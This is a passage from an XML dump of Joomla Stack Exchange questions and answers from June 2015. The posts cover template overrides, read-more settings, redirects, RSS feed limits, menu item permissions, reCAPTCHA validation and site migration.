?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4. Create Menu Items with your new Alternative Menu Item&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you will have a new menu item to choose for your category blog layouts. Go in &lt;strong&gt;Menu Manager&lt;/strong&gt; and create a new menu item for the articles component. When you are about to choose they menu item type, you will find a new type: &lt;strong&gt;Blog Full Text&lt;/strong&gt;.&#xA;*Make sure you will adjust any settings/options of the menu item to suit the rest of your needs (show/hide readmore etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Layout_Overrides_in_Joomla#Alternative_Menu_Items&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Documentation: Alternative Menu Items&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-06-11T12:39:43.673" LastActivityDate="2015-06-11T12:39:43.673" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10376" PostTypeId="2" ParentId="10374" CreationDate="2015-06-11T09:04:29.757" Score="1" Body="&lt;p&gt;As with all things Joomla there are several methods:&lt;/p&gt;&#xA;&#xA;&lt;strong&gt;Basic&lt;/strong&gt;&#xA;&#xA;&lt;p&gt;The simplest way is not to have the 'read more' buttons in your Articles.&lt;/p&gt;&#xA;&#xA;&lt;strong&gt;Through the Menu Item&lt;/strong&gt;&#xA;&#xA;&lt;p&gt;If you need to use them for other layouts/reasons, then you can configure the  Menu Item you are using for displaying this particular page to ignore 'Read More'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the 'Options' tab and set 'Show Read More' to 'Hide'.&lt;/p&gt;&#xA;&#xA;&lt;strong&gt;Set it globally&lt;/strong&gt;&#xA;&#xA;&lt;p&gt;There is another global method of doing this too, go to the Article Manager and click on the 'Options' button on the top-right corner of the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the 'Article' tab, set the 'Show Read More' to 'Hide'.&lt;/p&gt;&#xA;" OwnerUserId="5405" LastActivityDate="2015-06-11T09:04:29.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10377" PostTypeId="2" ParentId="10366" CreationDate="2015-06-11T09:12:02.913" Score="2" Body="&lt;p&gt;I found the answer. In Joomla I don't need to add the host. The below does what I need.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.open('animals?delete=true',&quot;_self&quot;,false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4097" LastActivityDate="2015-06-11T09:12:02.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10378" PostTypeId="2" ParentId="10364" CreationDate="2015-06-11T09:19:00.140" Score="1" Body="&lt;p&gt;You can't achieve what you are trying to without using some sort of redirect process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is the URL [site]/sale needs to be redirected www.google.com (for example)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using External Links will not solve it - because they are exactly what they are, equivalent of having a href tag as one of your menu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla [site]/path are the URLs to Joomla Aricles/content/components. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, if a content item [site]/sale does not exist (or is not linked to a published menu item) then you will get a 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One other way would be to create an Article called Sale, point to it with a standard Menu item and have some re-direct code on that Article. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is very ugly way of doing it.&lt;/p&gt;&#xA;" OwnerUserId="5405" LastEditorUserId="5405" LastEditDate="2015-06-11T09:22:32.313" LastActivityDate="2015-06-11T09:22:32.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10379" PostTypeId="2" ParentId="10366" CreationDate="2015-06-11T09:32:58.320" Score="-1" Body="&lt;p&gt;Try using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.location.href = '/path';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5404" LastEditorUserId="168" LastEditDate="2015-06-11T10:30:36.983" LastActivityDate="2015-06-11T10:30:36.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10380" PostTypeId="2" ParentId="10374" CreationDate="2015-06-11T09:43:46.767" Score="2" Body="&lt;p&gt;I'd say none of the above completely solves the general situation when you have article where you want to have a &amp;quot;Read more...&amp;quot; link / button. So, hiding &amp;quot;Read more&amp;quot; (within menu item parameters or article settings) will do exactly as it says - it'll simply hide &amp;quot;read more&amp;quot; and the whole article won't show up again at the end.&lt;/p&gt;&#xA;&lt;p&gt;What you need to do in this case is create an override for category blog view.&lt;/p&gt;&#xA;&lt;p&gt;Go to Extensions - Template Manager - Templates (on the left) - click on your default site template title.&#xA;Now you're editing your template more &amp;quot;close&amp;quot; to its php code. No matter, you might not know PHP, you can do it here.&lt;/p&gt;&#xA;&lt;p&gt;Choose the &amp;quot;Create Overrides&amp;quot; tab at the top. In list(s) click on com_content (middle column) -&amp;gt; category. Joomla created all folders and files you need to change now. You only need to change a few lines for your particular problem. Go to &amp;quot;Editor&amp;quot; tab now -&amp;gt; click html folder, then com_content -&amp;gt; category. The file you need is &lt;code&gt;blog_item.php&lt;/code&gt;. Click on it and you'll see it on the right. Now you need to edit the line around 47 in my version of Joomla (3.4.1) which is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;event-&amp;gt;beforeDisplayContent; ?&amp;gt; &amp;lt;?php echo $this-&amp;gt;item-&amp;gt;introtext; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Change to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;event-&amp;gt;beforeDisplayContent; ?&amp;gt; &amp;lt;?php echo $this-&amp;gt;item-&amp;gt;introtext.$this-&amp;gt;item-&amp;gt;fulltext; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now click Save &amp;amp; Close. Refresh your page where you have category blog view and you'll get full text of your article(s). This will work if you have &amp;quot;Show Intro Text&amp;quot; parameter set to Show within Menu item Options parameters and I presume you want to keep this. By default it's Show in global configuration. Also, you can set &amp;quot;Show read more&amp;quot; to &amp;quot;Hide&amp;quot; now within same menu item since you don't really need it now.&lt;/p&gt;&#xA;&lt;p&gt;This way you'll keep &amp;quot;Read more&amp;quot; link for all other instances of your article(s) except for the blog category view.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="9485" LastEditDate="2022-11-30T10:58:26.443" LastActivityDate="2022-11-30T10:58:26.443" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="10382" PostTypeId="1" CreationDate="2015-06-11T12:49:48.707" Score="5" ViewCount="723" Body="&lt;p&gt;I'm looking for some advice on using Joomla and Bitbucket for version control purposes. I am very new to Git (Bitbucket) and I am hoping that someone will be able to help me understand things a little better in relation to Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, a little background. We currently develop sites using Joomla. The main part of this process is template development. We create a new and bespoke template for each Joomla website. We currently host all of our 'in development' websites on an online server which means that our customers can track there progress. No development is done locally, although I have used MAMP in the past. I use Coda 2 to connect to the development site via FTP, I download a file, make changes and then re-upload that file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have recently hired another developer and we have run in to version control issues by using the process above. Therefore I have created a Bitbucket account so that we can track changes. My problem is that I don't know how to include Bitbucket into the workflow outlined above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had a look at a Joomla extension called Git 2 FTP deploy &lt;a href=&quot;http://rd-media.org/extensions/git2ftp-deploy.html&quot; rel=&quot;nofollow&quot;&gt;http://rd-media.org/extensions/git2ftp-deploy.html&lt;/a&gt; but I'm not sure if this is what I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't like to develop locally as my customers can't see their website so it is a case of me having one site locally and then a copy of that site on the testing server? If so then how do I sync database changes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see I am quite confused by the issue and I am probably looking at it all wrong. I have done a lot of research online but I can't seem to get my head around it. If anyone can help in any way then I would really appreciate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="387" LastEditorUserId="387" LastEditDate="2015-06-11T14:22:48.627" LastActivityDate="2015-06-30T06:42:17.687" Title="Joomla Website Development and Bitbucket" Tags="|joomla-3.x|git|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10383" PostTypeId="2" ParentId="10382" CreationDate="2015-06-11T12:59:08.340" Score="2" Body="&lt;p&gt;I would suggest you &lt;strong&gt;do&lt;/strong&gt; actually work locally when doing your development. You can then push your changes to Bitbucket using Git and then use a Hook to automatically update the repository on the development server for your clients to view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some good answers here which will help you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/3728054/git-push-to-live-server&quot;&gt;https://stackoverflow.com/questions/3728054/git-push-to-live-server&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for database updates, I'm not actually too sure about this, so hopefully someone else on here can give you some good insight on that&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-06-11T12:59:08.340" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10384" PostTypeId="1" CreationDate="2015-06-11T14:08:56.800" Score="0" ViewCount="859" Body="&lt;p&gt;Currently my default rss feed displays just 5 articles &#xA;&lt;a href=&quot;http://www.newdle.it/granditemi.feed&quot; rel=&quot;nofollow&quot;&gt;http://www.newdle.it/granditemi.feed&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is it possible to increase this number? Is there an option in the backend or should i edit the component?&lt;/p&gt;&#xA;" OwnerUserId="5407" LastActivityDate="2015-08-10T22:55:25.077" Title="RSS feed, increase number of article displayed" Tags="|joomla-3.x|rss|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10385" PostTypeId="2" ParentId="10384" CreationDate="2015-06-11T14:17:39.050" Score="1" Body="&lt;p&gt;Have a look at the global configuration. There is a &quot;Default Feed Limit&quot; parameter. Chances are high this is set to 5 :)&lt;/p&gt;&#xA;" OwnerUserId="52" LastEditorUserId="52" LastEditDate="2015-06-11T22:13:32.997" LastActivityDate="2015-06-11T22:13:32.997" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10386" PostTypeId="1" CreationDate="2015-06-11T14:31:21.283" Score="1" ViewCount="371" Body="&lt;p&gt;I am developing a cloud storage component for joomla, where users(resellers) can create subusers in their directory.&lt;br&gt;&#xA;I have implemented everything needed for the component, and I have created 2 main views for it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Cloud - where all the magic happens.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Settings - where a user(if he can_manage_subcontainers - setting stored in database) can create sub-users for his directory.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;They both work fine and are displaying on the menu, &lt;strong&gt;BUT&lt;/strong&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I want to always display the Cloud menu item. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Display the Settings menu item only if the user is logged in and has permission to create new sub-users, and I want to make this from my component - to be template/version independent.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I can do it easy if I add a script to hide/display 2nd menu item after the user logged in and have permision, but i don't want to that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked for a menu hook for joomla but nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have latest version of joomla and the component that I have created it's integrated with joomla framework on the admin side (made using Joomla functions) and the frontend(site part of component) its made in php as MVC from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for my bad english, hope you understand what I want.&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5408" LastEditorUserId="126" LastEditDate="2015-06-11T16:43:39.523" LastActivityDate="2015-06-11T16:43:39.523" Title="Dynamically display menu item of custom component in menu, based on user permissions" Tags="|component|development|menu-item|menu|menu-parameters|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10387" PostTypeId="2" ParentId="10371" CreationDate="2015-06-11T15:21:36.060" Score="2" Body="&lt;p&gt;You can't unpublish the home menu item but you can hide it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a new menu an assign it to an unplublished menu module and then transfer the home menu item to the new menu.&lt;/p&gt;&#xA;" OwnerUserId="5410" LastEditorUserId="126" LastEditDate="2015-06-11T16:30:13.880" LastActivityDate="2015-06-11T16:30:13.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10388" PostTypeId="2" ParentId="10386" CreationDate="2015-06-11T16:29:16.287" Score="1" Body="&lt;p&gt;Attach the permissions to the menu item. For a simple demonstration, set the &quot;access&quot; on the menu item to 'Registered' or 'Special' and you'll only see it if you fall into one of those categories. If you need finer-grained control, create an access group and only those users in that access group will be able to see it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably could have used joomla's permission settings to control the can_manage_subcontainers ability in the first place, then this would have less of a manual component as you could set the same permissions on the menu item as you did for the subcontainers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as it is, it's a one-time-per-user set and forget kind of thing, so it may not be a hardship to manage it manually.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2015-06-11T16:29:16.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10389" PostTypeId="1" CreationDate="2015-06-11T18:53:07.123" Score="2" ViewCount="94" Body="&lt;p&gt;If some of you use Symfony2, you should see what I'm referring to: The entity is basically an object as persisted in the database, and the repository is a class implementing methods to get it, or all, or a subset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can see, the JTable class kind of implements a bit of both of these logics, but not quite all of them (for instance, it seems to me that you can't quite query a subset of Elements, nor really rename the table rows in your code to fit another standard). Is there still a way better than constructing these things yourself? &lt;/p&gt;&#xA;" OwnerUserId="3626" LastActivityDate="2015-09-01T04:31:46.007" Title="Working with Entities and Repositories in Joomla" Tags="|joomla-3.x|development|jtable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10390" PostTypeId="1" CreationDate="2015-06-12T02:17:01.230" Score="0" ViewCount="328" Body="&lt;p&gt;I am new to Joomla development and am trying to make a, in my mind at least, very simple component, but I can't seem to find the right tutorials online.  I've already looked at the Joomla! Docs for creating a component, but it isn't explained very well if at all.  I want to create a component which has only a backend with two text boxes and a submit button, that's it.  I don't want any lists, toolbars, or anything else, just two textfields and a button. If anyone could point me in the right direction, I'd be very appreciative.&lt;/p&gt;&#xA;" OwnerUserId="5415" LastActivityDate="2015-06-12T02:55:16.343" Title="Help Creating a Component with Simple Backend" Tags="|component|administrator|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10391" PostTypeId="2" ParentId="10390" CreationDate="2015-06-12T02:55:16.343" Score="2" Body="&lt;p&gt;I use this:  &lt;a href=&quot;http://www.component-creator.com/en/&quot; rel=&quot;nofollow&quot;&gt;http://www.component-creator.com/en/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assembling all the files and the component setup is tedious and time consuming.  I'm sure there is a very relevant place to understand the build process from scratch but the mentioned creator assembles the component to about a 90% completion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the video I used to learn how to get started with Component Creator:  &lt;a href=&quot;https://m.youtube.com/watch?v=OXkZTxN3r98&quot; rel=&quot;nofollow&quot;&gt;https://m.youtube.com/watch?v=OXkZTxN3r98&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's free to use for one database table and small monthly fee to build with unlimited tables.  I start all my components with this resource    &lt;/p&gt;&#xA;" OwnerUserId="4003" LastActivityDate="2015-06-12T02:55:16.343" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10393" PostTypeId="2" ParentId="10371" CreationDate="2015-06-12T05:26:06.740" Score="1" Body="&lt;p&gt;You can't unpublish the home menu.&lt;br&gt;&#xA;Create another menu assigned in to default then you can unpublish the home menu item.&lt;/p&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-06-12T05:26:06.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10394" PostTypeId="2" ParentId="9399" CreationDate="2015-06-12T05:38:12.707" Score="1" Body="&lt;p&gt;Goto backend -&gt; Extensions -&gt; Language Manager -&gt; Override -&gt; New -&gt; See one search box is available.&lt;br&gt;&#xA;Here you can give constant or value. constant means for example (com_content) and value means for example (read more) and you can translate or override the language.&lt;/p&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-06-12T05:38:12.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10395" PostTypeId="2" ParentId="9195" CreationDate="2015-06-12T06:02:15.110" Score="0" Body="&lt;p&gt;Yes,You can write the $this-&gt;setRedirect($myurl) with in function when you call this function that time only it will execute otherwise it can't.&lt;br&gt;&#xA;You can check the condition if it's true means execute this statement $this-&gt;setRedirect($myurl) otherwise redirect to same page.&lt;/p&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-06-12T06:02:15.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10396" PostTypeId="1" CreationDate="2015-06-12T07:35:45.393" Score="3" ViewCount="1412" Body="&lt;p&gt;I use Joomla 3.4.1 and Recaptcha v 2.0.&#xA;I can't validate the captcha, i'm sure i've the good PHP code..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code in plugin file, recaptcha.php :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onCheckAnswer($code = null)[...]&#xA;   case '2.0':&#xA;      // Challenge Not needed in 2.0 but needed for getResponse call&#xA;      $challenge = null;&#xA;      $response  = $input-&amp;gt;get('g-recaptcha-response', '', 'string');&#xA;      echo &quot;response :&amp;lt;br&amp;gt;&quot;;&#xA;      var_dump($response);&#xA;      $spam      = ($response == null || strlen($response) == 0);&#xA;      echo &quot;spam :&amp;lt;br&amp;gt;&quot;;&#xA;      var_dump($spam);&#xA;  break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PHP code in my controller :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JPluginHelper::importPlugin('captcha');&#xA;$dispatcher = JDispatcher::getInstance();&#xA;$return = $dispatcher-&amp;gt;trigger('onCheckAnswer');&#xA;echo &quot;return :&amp;lt;br&amp;gt;&quot;;&#xA;var_dump($return[0]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What this return :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;response : string(0) &quot;&quot; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;spam : bool(true) &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;return : bool(false)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't understand, someone can help me please ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks ;)&lt;/p&gt;&#xA;" OwnerUserId="5418" LastActivityDate="2016-08-26T00:49:24.027" Title="Recaptcha 2.0 Joomla 3 - Validation failed - PHP" Tags="|php|validations|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10397" PostTypeId="2" ParentId="9898" CreationDate="2015-06-12T07:40:00.113" Score="0" Body="&lt;p&gt;You can create the two links in frontend one for English another one for French.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;lang-inline&quot;&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;li dir=&quot;ltr&quot; class=&quot;&quot;&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;a href=&quot;/fr/&quot;&amp;gt;French&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;/li&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;li dir=&quot;ltr&quot; class=&quot;lang-active&quot;&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;a href=&quot;http://sitepath/en/&quot;&amp;gt;&amp;lt;br&amp;gt;&#xA;English&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5404" LastEditorUserId="5404" LastEditDate="2015-06-12T07:50:07.887" LastActivityDate="2015-06-12T07:50:07.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10398" PostTypeId="1" CreationDate="2015-06-12T08:25:18.390" Score="0" ViewCount="196" Body="&lt;p&gt;I have problem with my Joomla 3.4.1. Login generally works fine, but sometimes when a user logs-out and want to login again, I get this strange error.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't even know what this is says :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL which im getting the error is :&#xA;&lt;a href=&quot;http://bajeman.com/login-form?task=user.login&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bajeman.com/login-form?task=user.login&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the error looks like this :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ri3g2.jpg&quot; alt=&quot;Strange error on login&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My language setting in Joomla :&lt;br&gt;&#xA;Could be this cause of the problem ?&lt;br&gt;&#xA;My language is persian and its not listed in content page &#xA;&lt;img src=&quot;https://i.stack.imgur.com/oPsjU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9y73o.jpg&quot; alt=&quot;login for redirections&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5419" LastEditorUserId="5419" LastEditDate="2015-06-12T09:52:30.967" LastActivityDate="2015-08-11T11:17:50.253" Title="Login error on joomla 3.4.1" Tags="|joomla-3.x|login|" AnswerCount="1" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="10399" PostTypeId="2" ParentId="9898" CreationDate="2015-06-12T08:33:04.047" Score="0" Body="&lt;p&gt;I am not sure we can do this without overriding core files. Following is the method which I am using:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. This is not the recommended way as the core files will get overwritten when you update Joomla and you need to redo the changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit administrator/components/com_content/models/article.php and find below function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function loadFormData()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And inside below if condition&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (empty($data))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add below code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data-&amp;gt;set('language', JFactory::getLanguage()-&amp;gt;getTag());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-06-12T08:33:04.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10400" PostTypeId="2" ParentId="9049" CreationDate="2015-06-12T09:01:36.670" Score="0" Body="&lt;p&gt;You make this too complicated: keep it simple.&#xA;In the configuration of CB on the first page, select &quot;Username or Email Address&quot;:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/G8zSx.png&quot; alt=&quot;configuration setting&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As login module select the cblogin module, and publish this as your login module:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tCrbe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That it. No need to do anything more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greetings,&#xA;Paul&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2015-06-12T09:01:36.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10401" PostTypeId="2" ParentId="10398" CreationDate="2015-06-12T09:22:23.717" Score="1" Body="&lt;p&gt;You can give the language manually in content page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Goto backend -&gt; Extension -&gt; Language manager -&gt; Content -&gt; New -&gt; Here you can set the valid title and language tag then click save.&lt;/p&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-06-12T09:22:23.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10402" PostTypeId="1" AcceptedAnswerId="14668" CreationDate="2015-06-12T10:28:42.287" Score="1" ViewCount="134" Body="&lt;p&gt;I've been making Joomla! sites for a while, and I'm used to seeing the white screen of death etc.  I know how to troubleshoot those, and I know when they are happening.  But this is different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's still a white screen, but on the whole, the DOM loads, and some of the containers.  It seems to me that there's some kind of a database error, because the structure loads, but the content doesn't.  No error actually shows, and no content, but if you examine the HTML you can see it is there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worse still, it's inconsistent, sometimes reloading the page makes it work.  So it's really hard to troubleshoot.  I had one that was doing it consistently, I examined the html and it started working again, and now it's working consistently.  I can't troubleshoot something that works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's happening across multiple sites, using multiple templates, and template providers.  Using the same host.  It seems to be only on Joomla! 2.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone else explain what is happening, have any others had the same issues?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-01-05T18:49:28.780" Title="Site loads... sometimes" Tags="|joomla-2.5|" AnswerCount="3" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="10403" PostTypeId="2" ParentId="10396" CreationDate="2015-06-12T13:16:28.667" Score="1" Body="&lt;p&gt;I got this solved by making sure the following conditions met&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;allow_url_fopen = On in your PHP configuration&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;jQuery is loaded on my page, if it is not loading, your template or some plugin might be suppressing somehow. check with your template developer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-06-12T13:16:28.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10404" PostTypeId="2" ParentId="10338" CreationDate="2015-06-12T13:21:47.430" Score="3" Body="&lt;p&gt;Just enter the url you want to rewrite in the browser and after that directly check the rewrite component of joomla. If its active the link appear and you can set a redirect location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hit up the adress should show it in redirect-component as 404 page by date.&lt;/p&gt;&#xA;" OwnerDisplayName="user5421" LastActivityDate="2015-06-12T13:21:47.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10406" PostTypeId="1" AcceptedAnswerId="10420" CreationDate="2015-06-13T02:25:59.003" Score="0" ViewCount="133" Body="&lt;p&gt;There's an old site that is running Joomla 1.5 which needs to be brought into the new age and since we mostly just need a Framework and not an entire CMS, CakePHP seemed like a good target to migrate to (although this is open to further discussion/help of course). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any experience with porting Joomla sites of any kind to CakePHP systems? The main pieces that need to be migrated are really just the users and one custom component with its custom routing for SEF URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally we'd like to set things up so that any future implementation of different language versions of the site are as easily scaled to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it generally difficult to port a J1.5 Site to another framework?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone come across any scripts for porting or at least easing the process of porting Joomla websites to other CMSs or Frameworks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts? Tips? Anything?&lt;/p&gt;&#xA;" OwnerUserId="5423" LastActivityDate="2015-07-14T18:19:21.313" Title="Will Migrating from Joomla (1.5) to CakePHP be very difficult? Are there any helpful migration tools out there?" Tags="|joomla-1.5|migration|external-script|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
